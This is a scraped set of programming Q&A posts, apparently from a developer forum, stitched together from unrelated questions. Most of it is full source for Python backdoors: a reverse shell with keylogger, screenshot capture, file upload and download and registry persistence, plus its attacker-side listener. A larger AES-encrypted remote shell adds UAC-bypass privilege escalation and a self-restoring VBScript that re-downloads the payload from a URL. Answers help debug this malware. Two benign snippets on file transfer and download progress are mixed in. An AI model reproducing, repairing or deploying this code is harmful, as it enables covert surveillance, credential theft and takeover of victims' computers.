I am following the backdoor-tutorial by Aleksa Tamburkovski
But when I try to compile the .py file into an .exe file using pyinstaller backdoor.py --onefile --noconsole in cmd, it compiles at first but when I try to open the file it says: Failed to execute script.
I have no Idea whats going on. Here are the files, one the backdoor.py and another one which is needed to run it:
backdoor.py:
import socket
import json
import subprocess
import os
import pyautogui
import keylogger
import threading
import shutil
import sys
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def screenshot():
Ss = pyautogui.screenshot()
Ss.save('screen.png')
def persist(r,c):
file_loc = os.eviron['appdata'] + '\\' + c
try:
if not os.path.exists(file_loc):
shutil.copyfile(sys.executable, file_loc)
subprocess.call('reg add HKCU\Software\Microsoft\Wndows\CurrentVersion /v ' + r +' /t REG_SZ /d "' + file_loc + '"', shell =True)
reliable_send('[+] Created Persistance at: '+ r)
else:
reliable_send('[+] Persistance already Exists!')
except:
reliable_send('[-] Error Creating Persistance')
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
elif command == 'clear':
pass
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:10] == 'screenshot':
screenshot()
upload_file('screen.png')
os.remove('screen.png')
elif command[:12] == 'keylog_start':
keylog = keylogger.Keylogger()
t = threading.Thread(target = keylog.start)
t.start()
reliable_send('[+] Keylogger Started!')
elif command[:11] == 'keylog_dump':
logs = keylog.read_logs()
reliable_send(logs)
elif command[:11] == 'keylog_stop':
keylog.self_destruct()
t.join()
reliable_send('[-] Keylogger Stopped!')
elif command[:11] == 'persistence':
reg_name, copy_name = command[12:].split(' ')
persist(reg_name, copy_name)
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',5555))
shell()
keylogger.py:
import os
from pynput.keyboard import Listener
import time
import threading
class Keylogger():
keys = []
count = 0
#path = 'processmannager.txt'
path = os.environ['appdata'] + '\\processmannager.txt'
flag = 0
def on_press(self,key):
self.keys.append(key)
self.count += 1
if self.count >= 1:
self.count = 0
self.write_file(self.keys)
self.keys = []
def read_logs(self):
with open(self.path,'rt')as f:
return f.read()
def write_file(self,keys):
with open(self.path, 'a') as f:
for key in keys:
k = str(key).replace("'","")
k = str(k).replace("Key.space",' ')
k = str(k).replace("Key.enter", '\n')
k = str(k).replace("Key.shift", "[Shift]")
k = str(k).replace("Key.caps_lock", "[Caps_lock]")
f.write(k)
def self_destruct(self):
self.flag = 1
listener.stop()
os.remove('processmannager.txt')
def start(self):
global listener
with Listener(on_press=self.on_press) as listener:
listener.join()
And when I try pyinstaller backdoor.py --onefile --noconsole --debug=all it shows me:
Please help me Out on this.
Related
I made a back door using pythonpicture of error message, and compiled it to an application (.exe) file on windows, using pyinstaller command,
the process works by using 2 files; 1 is malicious which stays on the target machine and the other one opens a shell on the attacker machine,, to gain control of the infected machine.
but while testing the malicious application on my windows environment ("it's my own machine so I have permission to test on it ") I saw that I was facing " win error 10060"
as far as I understand by the windows error message; it is saying it can't communicate with the attacker machine
(check the image and code to get a better idea of the problem .)
what can I do to avoid this ?
malicious_file.py
import socket
import json
import subprocess
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data =''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
# elif command == 'clear':
# pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 5548))
shell()
shell_opener_server.py
import socket
import termcolor
import json
def reliable_recv():
data =''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def target_ccommunication():
while True:
command = input('* Shell-%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit Session with the target
clear --> Clean the screen
cd *Dir name* --> Changes directory on target system
upload *file name* --> upload file to target machine
download *file name* --> Download file from target machine
keylog_start --> Start the keylogger
keylog_dump --> Print keystrokes that the target inputted
keylog_stop --> stop and self-destruct keylogger file
persistence *Regname* *file name* --> Creat persistance in registry'''), "green")
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('10.0.2.15', 5555))
print(termcolor.colored('[+] Listening For The Incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target Connected FROM : ' + str(ip), 'green'))
target_ccommunication()p
I am learning Python right now, and try to write a small file transfer program. The following is my codes.
This is the server codes
import SocketServer
import commands, time
class MySockServer(SocketServer.BaseRequestHandler):
def recv_all(self,obj, msg_length, des_file):
while msg_length != 0:
if msg_length <= 1024:
print 'here3'
print msg_length
print type(msg_length)
data = obj.recv(msg_length)
print data
msg_length = 0
print 'here4'
break
else:
data = obj.recv(1024)
msg_length -= 1024
#print msg_length
des_file.write(data)
print 'here4'
return 'Done'
def handle(self):
print 'Got a new conn from', self.client_address
while True:
cmd = self.request.recv(1024)#receive data from client
print cmd
if not cmd:#deal with ctrl+c from client
print 'Lost connection'
break
CMD = cmd.split()
print CMD
option, filename, file_size = CMD[:3]
print option
print filename
print file_size
if option == 'put':
#client wants to upload file
f = file('temp/%s' % filename, 'wb')
print 'here'
write_to_file = self.recv_all(self.request, int(file_size), f)
print 'here1'
if write_to_file == 'Done':
f.close()
self.request.send('File uploading done')
if __name__ == '__main__':
h = '0.0.0.0'
p = 9002
s = SocketServer.ThreadingTCPServer((h,p),MySockServer)
s.serve_forever()
The client codes:
import socket, os
host,port = '192.168.73.11', 9002
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect((host,port))
while True:
user_input = raw_input('msg to send:: ').strip()
if len(user_input) == 0: continue
user_cmd = user_input.split()
if user_cmd[0] == 'put':
if len(user_cmd) == 2:
f = file(user_cmd[1], 'rb')
f_size = os.path.getsize(user_cmd[1])
print user_cmd[0], user_cmd[1], str(f_size)
c.send('%s %s %s ' % (user_cmd[0],user_cmd[1],f_size))
print 'going to send....'
c.sendall(f.read())
print c.recv(1024)
c.close()
I just inserted some prints into the codes to find where are the problems. I found that in the recv_all() function in server codes, the sentence 'data = obj.recv(msg_length)' in the 'if' part cannot work, but the sentence in the 'else' part works very well. Is there anyone can tell me why could this happen?
Thanks guys.
import urllib.request
import urllib
import shutil
import os
import os.path
import sys
import time
import threading
class downloadFile:
def __init__(self, downloadLink, downloadPath, onDiskName):
self.downloadSize = urllib.request.urlopen(downloadLink).length
self.downloadLink = downloadLink
self.downloadPath = downloadPath
self.onDiskName = onDiskName
self.hardPath = os.path.join(self.downloadPath, self.onDiskName)
def returnMode(self, returnMode = 'stats'):
if returnMode == 'stats':
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize]
elif returnMode == 'printedStats':
print('self.downloadLink = ' + self.downloadLink)
print('self.downloadPath = ' + self.downloadPath)
print('self.onDiskName = ' + self.onDiskName)
print('self.downloadSize = ' + self.downloadSize)
print('self.hardPath = ' + self.hardPath)
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize, self.hardPath]
def executeDownload(self):
self.downloadStart = time.strftime("[%H:%M:%S] ")
with urllib.request.urlopen(self.downloadLink) as response, open(self.hardPath, 'wb') as currentFile:
shutil.copyfileobj(response, currentFile)
currentFile.close()
self.downloadEnd = time.strftime("[%H:%M:%S] ")
def downloadStats(self):
currentFileSize = os.path.getsize(self.hardPath)
percentManifested = int(currentFileSize/(self.downloadSize/100))
return [currentFileSize, percentManifested]
def liveDownloadStats(self):
if os.path.isfile(self.hardPath) == False:
time.sleep(1)
statList = self.downloadStats()
while statList[0] < self.downloadSize:
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.flush()
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.write("\n")
server = downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.8/minecraft_server.1.8.jar", "C:/Users/my-username/Desktop/", "minecraftServer.jar")
t1 = threading.Thread(target=server.executeDownload())
t2 = threading.Thread(target=server.liveDownloadStats())
t2.start()
t1.start()
time.sleep(100)
This is supposed to start printing the percentage downloaded of the file being downloaded once the file appears. What I am seeing is that the file appears and then moments later I get the output saying that it is 100% downloaded. I can't see exactly what I'm doing wrong here.
The problem was the fact that every time it checked the current downloaded data to the data that needed to be downloaded, it never updated the variables. So when the loop came around, it was comparing the same numbers until something. It was stuck in this loop and when something caused it to exit, I'm not sure what, it continued to the next line of code printing that it was finished downloading.
import urllib.request
import urllib
import shutil
import os
import os.path
import sys
import time
import threading
class downloadFile:
def __init__(self, downloadLink, downloadPath, onDiskName):
self.downloadSize = urllib.request.urlopen(downloadLink).length
self.downloadLink = downloadLink
self.downloadPath = downloadPath
self.onDiskName = onDiskName
self.hardPath = os.path.join(self.downloadPath, self.onDiskName)
def returnMode(self, returnMode = 'stats'):
if returnMode == 'stats':
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize]
elif returnMode == 'printedStats':
print('self.downloadLink = ' + self.downloadLink)
print('self.downloadPath = ' + self.downloadPath)
print('self.onDiskName = ' + self.onDiskName)
print('self.downloadSize = ' + self.downloadSize)
print('self.hardPath = ' + self.hardPath)
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize, self.hardPath]
def executeDownload(self):
self.downloadStart = time.strftime("[%H:%M:%S] ")
with urllib.request.urlopen(self.downloadLink) as response, open(self.hardPath, 'wb') as currentFile:
shutil.copyfileobj(response, currentFile)
currentFile.close()
self.downloadEnd = time.strftime("[%H:%M:%S] ")
def downloadStats(self):
currentFileSize = os.path.getsize(self.hardPath)
percentManifested = int(currentFileSize/(self.downloadSize/100))
return [currentFileSize, percentManifested]
def liveDownloadStats(self):
if os.path.isfile(self.hardPath) == False:
time.sleep(1)
statList = self.downloadStats()
while statList[0] < self.downloadSize:
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.flush()
statList = self.downloadStats() #This is the extra line of code used to update the variable before comparing on the next while loop.
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.write("\n")
def Main():
server = downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.8/minecraft_server.1.8.jar", "C:/Users/my-username/Desktop/", "minecraftServer.jar")
t1 = threading.Thread(target=server.executeDownload, args=())
t2 = threading.Thread(target=server.liveDownloadStats, args=())
t1.start()
t2.start()
if __name__ == "__main__":
Main()
I am very new to Python. I was following a simple Python tutorial, but don't get the expected results.
After running the compiled executable on the client, the client shows up on my server. However, when I choose the client number (1), the python script is immediately exited and I get the following error when run on a remote Linux server:
Activating client: ('172.51.8.204', 18268)
Traceback (most recent call last):
File "xmulti_aeserver.py", line 207, in <module>
if nextcmd.startswith("download ") == True:
NameError: name 'nextcmd' is not defined
When run locally on a Windows server, the script does not exit, but the server disconnects the client as such:
Activating client: ('192.168.1.104', 26042)
Client disconnected... ('192.168.1.104', 26042)
I've been reading about name errors everywhere, and I can't see anything wrong with the code I'm using.
Here is my server code (xmulti_aeserver.py):
#!/usr/bin/env python
from Crypto.Cipher import AES
import socket, base64, os, time, sys, select
from Crypto import Random
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
iv = Random.new().read(16)
# clear function
##################################
# Windows ---------------> cls
# Linux ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)
# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
c.bind(('0.0.0.0', 443))
c.listen(128)
# client information
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def download(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename, 'wb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "download "+remote_filename)
print "Downloading: " + remote_filename + " > " + local_filename
fileData = Receive(sock)
f.write(fileData)
time.sleep(interval)
f.close()
time.sleep(interval)
# upload file
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not remote_filename:
remote_filename = local_filename
try:
g = open(local_filename, 'rb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "upload "+remote_filename)
print 'Uploading: ' + local_filename + " > " + remote_filename
while True:
fileData = g.read()
if not fileData: break
Send(sock, fileData, "")
g.close()
time.sleep(interval)
Send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0,len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print "...\n"
# print exit option
print "---\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client."
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks += [s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting...\n'
for j in range(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
Send(socks[activate], 'Activate')
# interact with client
while active:
try:
# receive data from client
data = Receive(socks[activate])
# disconnect client.
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
clients.remove(clients[activate])
refresh()
active = False
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleep and refresh
time.sleep(0.8)
refresh()
active = False
break
# if data exists
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith("download ") == True:
if len(nextcmd.split(' ')) > 2:
download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
download(socks[activate], nextcmd.split(' ')[1])
# upload
elif nextcmd.startswith("upload ") == True:
if len(nextcmd.split(' ')) > 2:
upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
upload(socks[activate], nextcmd.split(' ')[1])
# normal command
elif nextcmd != '':
Send(socks[activate], nextcmd)
elif nextcmd == '':
print 'Think before you type. ;)\n'
Here is my client code (xmulti_aeshell.py):
#!/usr/bin/python
from Crypto.Cipher import AES
import subprocess, socket, base64, time, os, sys, urllib2, pythoncom, pyHook, logging
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
# server config
HOST = '192.168.1.104'
PORT = 443
# session controller
active = False
# Functions
###########
# send data function
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data function
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data = data + decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# prompt function
def Prompt(sock, promptmsg):
Send(sock, promptmsg)
answer = Receive(sock)
return answer
# upload file
def Upload(sock, filename):
bgtr = True
# file transfer
try:
f = open(filename, 'rb')
while 1:
fileData = f.read()
if fileData == '': break
# begin sending file
Send(sock, fileData, "")
f.close()
except:
time.sleep(0.1)
# let server know we're done..
time.sleep(0.8)
Send(sock, "")
time.sleep(0.8)
return "Finished download."
# download file
def Download(sock, filename):
# file transfer
g = open(filename, 'wb')
# download file
fileData = Receive(sock)
time.sleep(0.8)
g.write(fileData)
g.close()
# let server know we're done..
return "Finished upload."
# download from url (unencrypted)
def Downhttp(sock, url):
# get filename from url
filename = url.split('/')[-1].split('#')[0].split('?')[0]
g = open(filename, 'wb')
# download file
u = urllib2.urlopen(url)
g.write(u.read())
g.close()
# let server know we're done...
return "Finished download."
# privilege escalation
def Privs(sock):
# Windows/NT Methods
if os.name == 'nt':
# get initial info
privinfo = '\nUsername: ' + Exec('echo %USERNAME%')
privinfo += Exec('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"')
winversion = Exec('systeminfo')
windowsnew = -1
windowsold = -1
# newer versions of windows go here
windowsnew += winversion.find('Windows 7')
windowsnew += winversion.find('Windows 8')
windowsnew += winversion.find('Windows Vista')
windowsnew += winversion.find('Windows VistaT')
windowsnew += winversion.find('Windows Server 2008')
# older versions go here (only XP)
windowsold += winversion.find('Windows XP')
windowsold += winversion.find('Server 2003')
# if it is, display privs using whoami command.
if windowsnew > 0:
privinfo += Exec('whoami /priv') + '\n'
# check if user is administrator
admincheck = Exec('net localgroup administrators | find "%USERNAME%"')
# if user is in the administrator group, attempt service priv. esc. using bypassuac
if admincheck != '':
privinfo += 'Administrator privilege detected.\n\n'
# if windows version is vista or greater, bypassUAC :)
if windowsnew > 0:
# prompt for bypassuac location or url
bypassuac = Prompt(sock, privinfo+'Enter location/url for BypassUAC: ')
# attempt to download from url
if bypassuac.startswith("http") == True:
try:
c = Downhttp(sock, bypassuac)
d = os.getcwd() + '\\' + bypassuac.split('/')[-1]
except:
return "Download failed: invalid url.\n"
# attempt to open local file
else:
try:
c = open(bypassuac)
c.close()
d = bypassuac
except:
return "Invalid location for BypassUAC.\n"
# fetch executable's location
curdir = os.path.join(sys.path[0], sys.argv[0])
# add service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc create blah binPath= "cmd.exe /c ' + curdir + '" type= own start= auto')
if windowsold > 0: elvpri = Exec('sc create blah binPath= "' + curdir + '" type= own start= auto')
# start service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc start blah')
if windowsold > 0: elvpri = Exec('sc start blah')
# finished.
return "\nPrivilege escalation complete.\n"
# windows xp doesnt allow wmic commands by defautlt ;(
if windowsold > 0:
privinfo += 'Unable to escalate privileges.\n'
return privinfo
# attempt to search for weak permissions on applications
privinfo += 'Searching for weak permissions...\n\n'
# array for possible matches
permatch = []
permatch.append("BUILTIN\Users:(I)(F)")
permatch.append("BUILTIN\Users:(F)")
permbool = False
# stage 1 outputs to text file: p1.txt
xv = Exec('for /f "tokens=2 delims=\'=\'" %a in (\'wmic service list full^|find /i "pathname"^|find /i /v "system32"\') do #echo %a >> p1.txt')
# stage 2 outputs to text file: p2.txt
xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt')
# give some time to execute commands,
# 40 sec should do it... ;)
time.sleep(40)
# loop from hell to determine a match to permatch array.
ap = 0
bp = 0
dp = open('p2.txt')
lines = dp.readlines()
for line in lines:
cp = 0
while cp < len(permatch):
j = line.find(permatch[cp])
if j != -1:
# we found a misconfigured directory :)
if permbool == False:
privinfo += 'The following directories have write access:\n\n'
permbool = True
bp = ap
while True:
if len(lines[bp].split('\\')) > 2:
while bp <= ap:
privinfo += lines[bp]
bp += 1
break
else:
bp -= 1
cp += 1
ap += 1
time.sleep(4)
if permbool == True: privinfo += '\nReplace executable with Python shell.\n'
if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n'
# close file
dp.close()
# delete stages 1 & 2
xv = Exec('del p1.txt')
xv = Exec('del p2.txt')
return privinfo
# persistence
def Persist(sock, redown=None, newdir=None):
# Windows/NT Methods
if os.name == 'nt':
privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"')
# if user isn't system, return
if privscheck != '':
return "You must be authority\system to enable persistence.\n"
# otherwise procede
else:
# fetch executable's location
exedir = os.path.join(sys.path[0], sys.argv[0])
exeown = exedir.split('\\')[-1]
# get vbscript location
vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
# write VBS script
if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
else:
if newdir == None:
newdir = exedir
newexe = exeown
else:
newexe = newdir.split('\\')[-1]
vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
# open file & write
vbs = open('vbscript.vbs', 'wb')
vbs.write(vbscript)
vbs.close()
# add registry to startup
persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
persist += '\nPersistence complete.\n'
return persist
# execute command
def Exec(cmde):
# check if command exists
if cmde:
execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmdoutput = execproc.stdout.read() + execproc.stderr.read()
return cmdoutput
# otherwise, return
else:
return "Enter a command.\n"
# keylogging function
# version 1, by K.B. Carte
##########################
# enter log filename.
LOG_STATE = True
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
# main loop
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
# waiting to be activated...
data = Receive(s)
# activate.
if data == 'Activate':
active = True
Send(s, "\n"+os.getcwd()+">")
# interactive loop
while active:
# Receive data
data = Receive(s)
# think before you type smartass
if data == '':
time.sleep(0.02)
# check for quit
if data == "quit" or data == "terminate":
Send(s, "quitted")
break
# check for change directory
elif data.startswith("cd ") == True:
try:
os.chdir(data[3:])
stdoutput = ""
except:
stdoutput = "Error opening directory.\n"
# check for download
elif data.startswith("download") == True:
# Upload the file
stdoutput = Upload(s, data[9:])
elif data.startswith("downhttp") == True:
# Download from url
stdoutput = Downhttp(s, data[9:])
# check for upload
elif data.startswith("upload") == True:
# Download the file
stdoutput = Download(s, data[7:])
elif data.startswith("privs") == True:
# Attempt to elevate privs
stdoutput = Privs(s)
elif data.startswith("persist") == True:
# Attempt persistence
if len(data.split(' ')) == 1: stdoutput = Persist(s)
elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
elif data.startswith("keylog") == True:
# Begin keylogging
if LOG_STATE == False:
try:
# set to True
LOG_STATE = True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
stdoutput = "Logging keystrokes to: "+LOG_FILENAME+"...\n"
except:
ctypes.windll.user32.PostQuitMessage(0)
# set to False
LOG_STATE = False
stdoutput = "Keystrokes have been logged to: "+LOG_FILENAME+".\n"
else:
# execute command.
stdoutput = Exec(data)
# send data
stdoutput = stdoutput+"\n"+os.getcwd()+">"
Send(s, stdoutput)
# loop ends here
if data == "terminate":
break
time.sleep(3)
except socket.error:
s.close()
time.sleep(10)
continue
I would appreciate any pointers.
In xmulti_aeserver.py just above:
# main loop
while True:
.....
write nextcmd = ''. So it will be:
nextcmd = ''
# main loop
while True:
.....
This will define the nextcmd.
Add to this IF statment:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
elif data == '':
nextcmd = raw_input()
else:
nextcmd = raw_input()
You only define nextcmd in one branch of an if-else statement:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
